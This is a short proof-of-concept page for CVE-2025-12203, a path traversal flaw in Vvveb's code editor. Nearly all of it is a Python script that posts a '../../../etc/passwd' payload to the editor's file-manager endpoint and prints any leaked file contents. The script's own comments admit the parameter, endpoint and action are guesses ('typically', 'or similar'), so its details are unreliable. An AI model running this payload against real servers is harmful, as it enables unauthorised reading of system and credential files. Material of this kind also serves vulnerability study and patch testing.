CVE-2025-12203 Vvveb sanitizeFileName 路径遍历漏洞

# CVE-2025-12203 PoC - Vvveb Path Traversal # Affected: Vvveb <= 1.0.7.3 # Component: Code Editor - sanitizeFileName function import requests import urllib.parse target_url = "http://target.com/vvveb" # Path traversal payload to read /etc/passwd payload = "../../../etc/passwd" # The vulnerable parameter is typically 'File' in the Code Editor component # Target endpoint: /editor/file-manager/ or similar Code Editor functionality data = { "File": payload, "action": "save" # or relevant action parameter } try: response = requests.post( f"{target_url}/editor/file-manager/", data=data, timeout=10 ) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") # Check if file content is leaked if "root:" in response.text or "bin:" in response.text: print("[+] Path traversal successful - /etc/passwd leaked!") print(response.text[:500]) else: print("[-] No obvious file leak detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")